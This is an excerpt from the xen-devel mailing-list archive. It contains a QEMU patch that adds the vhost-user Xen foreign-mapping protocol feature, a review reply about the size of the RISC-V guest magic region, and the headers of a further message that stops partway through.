X-Forwarded-Encrypted: i=1; AFNElJ8KgeDXSOkOEiJ4rkGRhOW490EsDM9kWmp/Hz+ga3AyArVjHQpTWsPpRrQvVbjtpIpqTJPXZVMch2w=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yysq0C9MyzdYV1+b97G0yfmVOQXdxeExJDmzYXBsvODFXnAoy+X
	tQx/P74YWCYJ4DJhJFUaCx5U8hvjpI1CEVW0XJJFeLbrB1t2zJEMYM0Y
X-Gm-Gg: AfdE7cmVbrXD2qQeZ72FFMppTpev9cn9GUfxVOZ8VkhKh243BKGNIB2A5cKLEYlmLWL
	oGpUhRGRvt99n5lTjqrtW8n5GTGsQRJOI3lQL76ux7pKhloVPU1Ceh317zUnqpAZ/EqMHzIuMeI
	by3vRaw+Ly9BrQF5E0cBDpmbnkfnJNiOFgePvLm9jadbSznVCoZDgCxfdMd6yye+31RngIG3NwJ
	QE7JbmUKaYJKrT13EYQV6pV8tkes/Kmg357bzhOEITzR3KQ7ZJ/6gCNRJLj1Opc0nY67p4oS4hk
	PtfNDE6r1j4twEgPUx1FiHsZhaGn0yzZ03WeQs7nBC5ZrzEP/41MMY5V2siJmmearL1cNriPk39
	XRvLY97Fi9MKEUjTH1INgxTNaA2d3oRI9IJkTKqGKm8+9q3YgTM/3xgJkplZOvmAo90Vuu27nhk
	e7e4FYbkTK+COSIyfmeGifFrtogaOW3idt+1QGPx2Nig==
X-Received: by 2002:a05:600c:8286:b0:493:c42c:7e88 with SMTP id 5b1f17b1804b1-493c42c8307mr52961315e9.34.1782985646320;
        Thu, 02 Jul 2026 02:47:26 -0700 (PDT)
From: Dusan Stojkovic <stojkovicdusan555@gmail.com>
Date: Thu, 02 Jul 2026 11:46:13 +0200
Subject: [PATCH RFC v3 2/2] vhost-user: implement
 VHOST_USER_PROTOCOL_F_XEN_MMAP
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260702-vhost-xen-foreign-mapping-v3-2-2b8ef913382b@rt-rk.com>
References: <20260702-vhost-xen-foreign-mapping-v3-0-2b8ef913382b@rt-rk.com>
In-Reply-To: <20260702-vhost-xen-foreign-mapping-v3-0-2b8ef913382b@rt-rk.com>
To: qemu-devel@nongnu.org
Cc: "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Garzarella <sgarzare@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Viresh Kumar <viresh.kumar@linaro.org>, 
 Dusan Stojkovic <Dusan.Stojkovic@rt-rk.com>, 
 Nikola Jelic <Nikola.Jelic@rt-rk.com>
X-Mailer: b4 0.13.0
X-purgate-ID: tlsNG-720697/1782985646-4FB1F7C5-5DBB5988/0/0
X-purgate-type: clean
X-purgate-size: 12093

From: Dusan Stojkovic <Dusan.Stojkovic@rt-rk.com>

The vhost-user specification reserves protocol feature bit 17 and
documents an extended memory region description for backends that map
guest memory through Xen rather than mapping a file descriptor each
region carries two extra fields, "xen mmap flags" and "domid" (see
docs/interop/vhost-user.rst, "Memory region description").
The layout is implemented by rust-vmm's vhost and vm-memory crates
and used by Xen vhost-user device backends.

Implement the front-end side for foreign mappings:

- negotiate VHOST_USER_PROTOCOL_F_XEN_MMAP

- when negotiated, build SET_MEM_TABLE payloads from the extended
  region layout, with xen_mmap_flags = FOREIGN and
  xen_mmap_data set to the guest's domain id.

- under Xen, do not call vhost_user_get_mr_data(): guest RAM has no fd
  and its userspace_addr does not correspond to a valid mapping in the
  address space. Backends map regions through privcmd using the guest
  physical address and domid; the fd accompanying each region only
  satisfies the protocol's one-fd-per-region requirement. Pass a
  /dev/xen/privcmd fd and close it once the message has been sent.
  Tracepoints for opening and closing xen fds are added as well.

- suppress VHOST_USER_PROTOCOL_F_CONFIGURE_MEM_SLOTS under Xen:
  Postcopy is likewise refused.

The userspace_addr field is carried unchanged; Xen backends derive
mappings from guest_phys_addr and domid and do not interpret it.

Signed-off-by: Dusan Stojkovic <Dusan.Stojkovic@rt-rk.com>
Signed-off-by: Nikola Jelic <Nikola.Jelic@rt-rk.com>
---
 hw/virtio/trace-events         |   2 +
 hw/virtio/vhost-user.c         | 120 +++++++++++++++++++++++++++++++++++++++--
 include/hw/virtio/vhost-user.h |   2 +-
 3 files changed, 120 insertions(+), 4 deletions(-)

diff --git a/hw/virtio/trace-events b/hw/virtio/trace-events
index 2a57edc21e..0f3c58fd78 100644
--- a/hw/virtio/trace-events
+++ b/hw/virtio/trace-events
@@ -30,6 +30,8 @@ vhost_user_postcopy_fault_handler_found(int i, uint64_t region_offset, uint64_t
 vhost_user_postcopy_listen(void) ""
 vhost_user_set_mem_table_postcopy(uint64_t client_addr, uint64_t qhva, int reply_i, int region_i) "client:0x%"PRIx64" for hva: 0x%"PRIx64" reply %d region %d"
 vhost_user_set_mem_table_withfd(int index, const char *name, uint64_t memory_size, uint64_t guest_phys_addr, uint64_t userspace_addr, uint64_t offset) "%d:%s: size:0x%"PRIx64" GPA:0x%"PRIx64" QVA/userspace:0x%"PRIx64" RB offset:0x%"PRIx64
+vhost_user_open_region_fd(int index, int fd) "region:%d fd:%d"
+vhost_user_put_region_fds(int index, int fd) "region:%d fd:%d"
 vhost_user_postcopy_waker(const char *rb, uint64_t rb_offset) "%s + 0x%"PRIx64
 vhost_user_postcopy_waker_found(uint64_t client_addr) "0x%"PRIx64
 vhost_user_postcopy_waker_nomatch(const char *rb, uint64_t rb_offset) "%s + 0x%"PRIx64
diff --git a/hw/virtio/vhost-user.c b/hw/virtio/vhost-user.c
index d627351f45..932ead4eeb 100644
--- a/hw/virtio/vhost-user.c
+++ b/hw/virtio/vhost-user.c
@@ -30,6 +30,8 @@
 #include "migration/postcopy-ram.h"
 #include "trace.h"
 #include "system/ramblock.h"
+#include "system/xen.h"
+#include "hw/xen/xen.h"
 
 #include <sys/ioctl.h>
 #include <sys/socket.h>
@@ -181,12 +183,36 @@ typedef struct VhostUserMemoryRegion {
     uint64_t mmap_offset;
 } VhostUserMemoryRegion;
 
+/*
+ * Memory region flags for VHOST_USER_PROTOCOL_F_XEN_MMAP, matching the
+ * values used by rust-vmm's vm-memory (MmapXenFlags).
+ */
+#define VHOST_USER_XEN_MMAP_FLAG_FOREIGN    0x1
+#define VHOST_USER_XEN_MMAP_FLAG_GRANT      0x2
+
+/*
+ * Extended memory region description, used when
+ * VHOST_USER_PROTOCOL_F_XEN_MMAP has been negotiated.
+ */
+typedef struct VhostUserMemoryRegionXen {
+    VhostUserMemoryRegion region;
+    uint32_t xen_mmap_flags;
+    uint32_t xen_mmap_data; /* domain id for FOREIGN/GRANT mappings */
+} VhostUserMemoryRegionXen;
+
+
 typedef struct VhostUserMemory {
     uint32_t nregions;
     uint32_t padding;
     VhostUserMemoryRegion regions[VHOST_MEMORY_BASELINE_NREGIONS];
 } VhostUserMemory;
 
+typedef struct VhostUserMemoryXen {
+    uint32_t nregions;
+    uint32_t padding;
+    VhostUserMemoryRegionXen regions[VHOST_MEMORY_BASELINE_NREGIONS];
+} VhostUserMemoryXen;
+
 typedef struct VhostUserMemRegMsg {
     uint64_t padding;
     VhostUserMemoryRegion region;
@@ -294,6 +320,7 @@ typedef union {
         struct vhost_vring_state state;
         struct vhost_vring_addr addr;
         VhostUserMemory memory;
+        VhostUserMemoryXen memory_xen;
         VhostUserMemRegMsg mem_reg;
         VhostUserLog log;
         struct vhost_iotlb_msg iotlb;
@@ -594,6 +621,8 @@ static MemoryRegion *vhost_user_get_mr_data(uint64_t addr, ram_addr_t *offset,
 static bool vhost_user_gpa_addresses(struct vhost_dev *dev)
 {
     return vhost_user_has_protocol_feature(
+        dev, VHOST_USER_PROTOCOL_F_XEN_MMAP) ||
+        vhost_user_has_protocol_feature(
         dev, VHOST_USER_PROTOCOL_F_GPA_ADDRESSES);
 }
 
@@ -612,6 +641,23 @@ static void vhost_user_fill_msg_region(struct vhost_dev *dev,
     dst->mmap_offset = mmap_offset;
 }
 
+/*
+ * With VHOST_USER_PROTOCOL_F_XEN_MMAP the region fds are opened by us
+ * rather than owned by the RAMBlocks, so they must be closed once the
+ * message carrying them has been sent (or on error).
+ */
+static void vhost_user_put_region_fds(struct vhost_dev *dev, int *fds,
+                                      size_t fd_num)
+{
+    if (!vhost_user_has_protocol_feature(dev, VHOST_USER_PROTOCOL_F_XEN_MMAP)) {
+        return;
+    }
+    for (size_t i = 0; i < fd_num; i++) {
+        trace_vhost_user_put_region_fds(i, fds[i]);
+        close(fds[i]);
+    }
+}
+
 static int vhost_user_fill_set_mem_table_msg(struct vhost_user *u,
                                              struct vhost_dev *dev,
                                              VhostUserMsg *msg,
@@ -623,13 +669,41 @@ static int vhost_user_fill_set_mem_table_msg(struct vhost_user *u,
     MemoryRegion *mr;
     struct vhost_memory_region *reg;
     VhostUserMemoryRegion region_buffer;
+    bool xen_mmap = vhost_user_has_protocol_feature(dev,
+            VHOST_USER_PROTOCOL_F_XEN_MMAP);
+
+    if (track_ramblocks && xen_mmap) {
+        error_report("vhost-user: postcopy is not supported under Xen");
+        return -ENOTSUP;
+    }
 
     msg->hdr.request = VHOST_USER_SET_MEM_TABLE;
 
     for (i = 0; i < dev->mem->nregions; ++i) {
         reg = dev->mem->regions + i;
 
-        mr = vhost_user_get_mr_data(reg->userspace_addr, &offset, &fd);
+        if (xen_mmap) {
+            /*
+             * Under Xen the guest RAM is not mapped into our address
+             * space; the backend maps it through the Xen foreign
+             * mapping interface using the guest physical address and
+             * domain id carried in the region descriptor.  The file
+             * descriptor only satisfies the one-fd-per-region
+             * requirement of the protocol: pass /dev/xen/privcmd and
+             * close it once the message has been sent.
+             */
+            mr = NULL;
+            offset = 0;
+            fd = open("/dev/xen/privcmd", O_RDWR | O_CLOEXEC);
+            if (fd < 0) {
+                error_report("vhost-user: failed to open /dev/xen/privcmd:"
+                             " %s", strerror(errno));
+                return -errno;
+            }
+            trace_vhost_user_open_region_fd(i, fd);
+        } else {
+            mr = vhost_user_get_mr_data(reg->userspace_addr, &offset, &fd);
+        }
         if (fd > 0) {
             if (track_ramblocks) {
                 assert(*fd_num < VHOST_MEMORY_BASELINE_NREGIONS);
@@ -642,10 +716,21 @@ static int vhost_user_fill_set_mem_table_msg(struct vhost_user *u,
                 u->region_rb[i] = mr->ram_block;
             } else if (*fd_num == VHOST_MEMORY_BASELINE_NREGIONS) {
                 error_report("Failed preparing vhost-user memory table msg");
+                if (xen_mmap) {
+                    close(fd);
+                }
                 return -ENOBUFS;
             }
             vhost_user_fill_msg_region(dev, &region_buffer, reg, offset);
-            msg->payload.memory.regions[*fd_num] = region_buffer;
+            if (xen_mmap) {
+                msg->payload.memory_xen.regions[*fd_num].region = region_buffer;
+                msg->payload.memory_xen.regions[*fd_num].xen_mmap_flags =
+                    VHOST_USER_XEN_MMAP_FLAG_FOREIGN;
+                msg->payload.memory_xen.regions[*fd_num].xen_mmap_data =
+                    xen_domid;
+            } else {
+                msg->payload.memory.regions[*fd_num] = region_buffer;
+            }
             fds[(*fd_num)++] = fd;
         } else if (track_ramblocks) {
             u->region_rb_offset[i] = 0;
@@ -663,7 +748,11 @@ static int vhost_user_fill_set_mem_table_msg(struct vhost_user *u,
 
     msg->hdr.size = sizeof(msg->payload.memory.nregions);
     msg->hdr.size += sizeof(msg->payload.memory.padding);
-    msg->hdr.size += *fd_num * sizeof(VhostUserMemoryRegion);
+    if (xen_mmap) {
+        msg->hdr.size += *fd_num * sizeof(VhostUserMemoryRegionXen);
+    } else {
+        msg->hdr.size += *fd_num * sizeof(VhostUserMemoryRegion);
+    }
 
     return 0;
 }
@@ -1149,10 +1238,12 @@ static int vhost_user_set_mem_table(struct vhost_dev *dev,
         ret = vhost_user_fill_set_mem_table_msg(u, dev, &msg, fds, &fd_num,
                                                 false);
         if (ret < 0) {
+            vhost_user_put_region_fds(dev, fds, fd_num);
             return ret;
         }
 
         ret = vhost_user_write(dev, &msg, fds, fd_num);
+        vhost_user_put_region_fds(dev, fds, fd_num);
         if (ret < 0) {
             return ret;
         }
@@ -2551,6 +2642,29 @@ static int vhost_user_backend_init(struct vhost_dev *dev, void *opaque,
                                VHOST_USER_PROTOCOL_F_GET_VRING_BASE_INFLIGHT);
         }
 
+        if (!xen_enabled()) {
+            /*
+             * Xen memory mappings only make sense when QEMU itself runs
+             * as a Xen device model.
+             */
+            protocol_features &= ~(1ULL << VHOST_USER_PROTOCOL_F_XEN_MMAP);
+        } else {
+            if (!virtio_has_feature(protocol_features,
+                                    VHOST_USER_PROTOCOL_F_XEN_MMAP)) {
+                error_setg(errp, "vhost-user backend does not support "
+                           "VHOST_USER_PROTOCOL_F_XEN_MMAP, which is "
+                           "required when running under Xen");
+                return -EPROTO;
+            }
+            /*
+             * The ADD/REM_MEM_REG message path has not been adapted to
+             * the Xen region format.  Xen guests expose a single RAM
+             * region, so fall back to SET_MEM_TABLE.
+             */
+            protocol_features &=
+                ~(1ULL << VHOST_USER_PROTOCOL_F_CONFIGURE_MEM_SLOTS);
+        }
+
         /* final set of protocol features */
         u->protocol_features = protocol_features;
         err = vhost_user_set_protocol_features(dev, u->protocol_features);
diff --git a/include/hw/virtio/vhost-user.h b/include/hw/virtio/vhost-user.h
index 06c360af18..46be9cd57c 100644
--- a/include/hw/virtio/vhost-user.h
+++ b/include/hw/virtio/vhost-user.h
@@ -30,7 +30,7 @@ enum VhostUserProtocolFeature {
     VHOST_USER_PROTOCOL_F_INBAND_NOTIFICATIONS = 14,
     VHOST_USER_PROTOCOL_F_CONFIGURE_MEM_SLOTS = 15,
     VHOST_USER_PROTOCOL_F_STATUS = 16,
-    /* Feature 17 reserved for VHOST_USER_PROTOCOL_F_XEN_MMAP. */
+    VHOST_USER_PROTOCOL_F_XEN_MMAP = 17,
     VHOST_USER_PROTOCOL_F_SHARED_OBJECT = 18,
     VHOST_USER_PROTOCOL_F_DEVICE_STATE = 19,
     VHOST_USER_PROTOCOL_F_GET_VRING_BASE_INFLIGHT = 20,

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:48:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:48:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351539.1608699 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfE1l-0005fC-2x; Thu, 02 Jul 2026 09:48:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351539.1608699; Thu, 02 Jul 2026 09:48:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfE1k-0005f5-W6; Thu, 02 Jul 2026 09:48:12 +0000
Received: by outflank-mailman (input) for mailman id 1351539;
 Thu, 02 Jul 2026 09:48:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfE1j-0005cU-KE
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:48:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfE1i-006vJd-OL
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:48:10 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4633d1-e002-0a2a0a5209dd-0a2a450781e6-32
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:48:10 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4633da-9c8e-0a2a45070019-d1558035a9ee-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:48:10 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493c1950518so1949025e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:48:10 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63ba971sm52031435e9.13.2026.07.02.02.48.09
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 02:48:09 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782985690; x=1783590490; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=5cW6F1nZ+lIxLmSGu2x1m1g9gMm5tD08o7NGRsN9T1E=;
        b=Vw7Kr+JVAKumtsZzDbXf3XG8LaVJIuWDAc17vMfhub3qMc6cK5XJVsm8sJdkei844u
         dlsN7qKAdc6KFCxSKbmcP9uircaPwOMEyXxFp0p6ZmrcwiBKmGGy+plD3HH+yLRhW2et
         nxUIifvpSykN9S/z76G+fQgqnrhCno3dWNC2la+fSsQsmLKmCoq+o5pWKOsg9gyiy+fv
         uG9DZMK8I9BjpYNyByjQqkqwobLewAy+f5wY58jsr0Z3kBKy9KeTxCboPTYwZ0AmIPe8
         P8a52yuHmwgnoxgpdcxX4gZJCFkay+3F/ctCAbQvGsrEbixgs61m8Uf/yJADrFmEhglo
         xRDg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782985690; x=1783590490;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=5cW6F1nZ+lIxLmSGu2x1m1g9gMm5tD08o7NGRsN9T1E=;
        b=f06NAK9zKXuA9oeCFOYmr1H/DKb7OGToIsy8WeIUjRxYx9vBn5Vjw2Qq+hf4BVZrbV
         M/a5WgJijzZl6LHyi460gJgbXjjfcrpVK33cqdpZjFQF7hq6Yi1VBQf3lUn90hG/ItEf
         9Gd+8xKu/Hja+txyrA5Sqwu63sge33E5cUtfn8QpTyG3dGb9ps2uMX67shFWojqGnsTy
         UR0RHCMmew/q2JqnKu6FN037mkfuHykyVGaRjcvqsZSaDxsaCKS4KL44qbt30sHdCFoe
         JrN1rAMrPpCOdbIqMvjsr6WU929o8YqyidlbH9I2EcVZiWovoihNfQTIP6a3JaWw676n
         FEsw==
X-Forwarded-Encrypted: i=1; AHgh+Rr6Py9Rxmpi7zrMaZ070L27PTa3IQWA8oK1TJA9c8U7XJHycYlU7OLkn6RZZtAp2dG/h5q6yoeM6BM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwRE9J5krDrLxUqo5Ru46bpvqYItIl0ttRb9xY0qeHWiVJLQjUs
	pvMlAUCYaPY2H14eeb2a6FCX3TtsNi3uaZePtgbZmZX5L8Njsjv8YguH
X-Gm-Gg: AfdE7clvYyLtFLVYUzab5XHbW2baGOoPwp/HsDTbrcN/d1Pd+PQizYdhEZ0hU1/qtll
	n8QIokWY8y0OZ6JbqUiLc9wvgUVrp1nK1bvK1FQon8oqmo8iugDV8l7ZJgoW3ovvMHm1uYdmFp4
	sU6TbnhA5RUJtOMaCPDE1CJ6IoS2rlkJ310ssDwb8Aoq2d7lGtJVspegs5jbamh6jOB+1uDcCWX
	1+GZuVbO/hz8haM2QKc/Q4jVIhflQ3N+7mHKCfLV7+JiekLpOC8lK2vr5JOqPOas9+wgOEfjSAC
	y401lNf5ATOSKe799kLFixDIBG5/tHlzZTNGyhNlRlZeERfu4/108q+AYK/0AyV4I1+VwwWTT2Z
	DwF68/eidIdpsPoGO6aQUtR2DcxeBckJd8iB81nQ4gPCUAoxa8yQkUlwuE5QxA1A4glqgPwK5aw
	FbSIzJ8yQ8u/sXR4B2WsarAlwJRRg+P17+E8VP+nqMLjCCTk4IkfEfg8QfSwTA0hLSvnbrnvxp0
	P4/Bw==
X-Received: by 2002:a05:600c:6211:b0:493:c064:316f with SMTP id 5b1f17b1804b1-493c594ebedmr23053715e9.3.1782985689888;
        Thu, 02 Jul 2026 02:48:09 -0700 (PDT)
Message-ID: <fc4625d3-c027-41f5-9aea-00f229316b30@gmail.com>
Date: Thu, 2 Jul 2026 11:48:08 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 25/25] xen/riscv: add initial dom0less infrastructure
 support
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <a6950e8dc2706c351fe6b0622602d34ecef133b7.1782487661.git.oleksii.kurochko@gmail.com>
 <131fc20c-1353-49fc-8f77-1ca13628ff17@suse.com>
 <c7aff2d8-14a7-4921-93d4-67228d871074@gmail.com>
 <2e3d404f-8716-4d0f-b739-d1e842b5a07c@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <2e3d404f-8716-4d0f-b739-d1e842b5a07c@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1782985690-7CB2B25E-50C81BD2/10/73395122804
X-purgate-type: spam
X-purgate-size: 2675



On 7/2/26 8:41 AM, Jan Beulich wrote:
> On 01.07.2026 17:24, Oleksii Kurochko wrote:
>> On 6/30/26 9:28 AM, Jan Beulich wrote:
>>> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>>>> --- a/xen/arch/riscv/include/asm/guest-layout.h
>>>> +++ b/xen/arch/riscv/include/asm/guest-layout.h
>>>> @@ -32,4 +32,16 @@
>>>>    #define GUEST_RAM_BANK_BASES   { GUEST_RAM0_BASE, GUEST_RAM1_BASE }
>>>>    #define GUEST_RAM_BANK_SIZES   { GUEST_RAM0_SIZE, GUEST_RAM1_SIZE }
>>>>    
>>>> +/*
>>>> + * The guest magic region holds Xen-reserved pages mapped into the guest's
>>>> + * physical address space (shared info, grant table, etc.). The only real
>>>> + * constraint is that the GUEST_MAGIC_SIZE-byte region must not overlap
>>>> + * guest RAM (the GUEST_RAMx banks) or the emulated device regions defined
>>>> + * above; the exact base is otherwise arbitrary. Here it is placed in the
>>>> + * unused gap below GUEST_RAM0_BASE (0x80000000), but a hole after a RAM
>>>> + * bank would work equally well.
>>>> + */
>>>> +#define GUEST_MAGIC_BASE  _UL(0x79000000)
>>>> +#define GUEST_MAGIC_SIZE  _UL(0x01000000)
>>>
>>> ... while 16Mb may seem a lot, it feels pretty little for 64-bit guests.
>>> Even in just Sv39 mode they have ample VA space to map a bigger region.
>>> (As iirc indicated before, a static upper bound looks questionable to me
>>> anyway.)
>>
>> I think the comment should be updated as for grants will be separate region.
>>
>> For all others, it looks like 16MB is more then enough. For example, Arm
>> has only 4 used pages (CONSOLE=0, XENSTORE=1, MEMACCESS=2, VUART=3).
> 
> Then the question goes the other way around: Why 16Mb? Won't e.g. 2Mb
> suffice?

I don't see any technical reason to have 16 Mb on Arm, IMO it could be 
shrunk to what you suggested (I will do that for RISC-V).

~ Oleksii

> 
>> So will you be okay with reworking of the comment to:
>> /*
>>    * The guest magic region holds the Xen-reserved pages mapped into the
>>    * guest's physical address space. The only real constraint on
>>    * GUEST_MAGIC_BASE/SIZE is that the region must not overlap guest RAM
>>    * (the GUEST_RAMx banks) or the emulated device regions defined above;
>>    * the exact base is otherwise arbitrary. Here it is placed in the
>> unused gap
>>    * below GUEST_RAM0_BASE (0x80000000), but a hole after a RAM bank
>> would work
>>    * equally well.
>>    */
>>
>> And add to the commit message that:
>> ```
>> A separate region for grant tables will be introduced at the same time
>> as the introduction of the grant table for RISC-V.
>> ```
> 
> That's quite a bit better, yes.
> 
> Jan



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 10:07:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 10:07:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351564.1608709 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfEKd-0001qs-OO; Thu, 02 Jul 2026 10:07:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351564.1608709; Thu, 02 Jul 2026 10:07:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfEKd-0001qJ-JQ; Thu, 02 Jul 2026 10:07:43 +0000
Received: by outflank-mailman (input) for mailman id 1351564;
 Thu, 02 Jul 2026 10:07:41 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mingo@kernel.org>) id 1wfEKb-0001qD-Qb
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:07:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfEKb-00DXQI-6m
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:07:41 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mingo@kernel.org>)
 id 6a463862-2eae-0a2a0a5409dd-0a2a4506b782-38
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:07:41 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mingo@kernel.org>)
 id 6a46386b-08de-0a2a45060019-ac6904fee76c-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:07:40 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 478A46001D;
 Thu,  2 Jul 2026 10:07:39 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 3D4E71F000E9;
 Thu,  2 Jul 2026 10:07:18 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1782986859;
	bh=rYlxsT3EfvvJVMSpiElkKSMRxs3TOqthCAywxBW0128=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=AUJ2SDXvs0VEdi5h/Kivbi3brTHkQLZzOc+/NAV87+f7C+JbSJugMOeorpgT3tHNL
	 p58+v4CbXSREtEJG3hLwTa5n8p6G+p8Uf6kuVPNIUtEb3lILgd1rLCgiUeDjzt2+mZ
	 zGpUePOrV+YiczwnsZiA+nTEa+dq7dVC2Ri5VUVSthC4z19IRHYTorV302BUc8jnc8
	 lzbpbbTR/gUCNSPcKQ4CL0UIE7YEz9VRE1nLkcyV3m++qYsnaX7iOq8PztYSNv6FrO
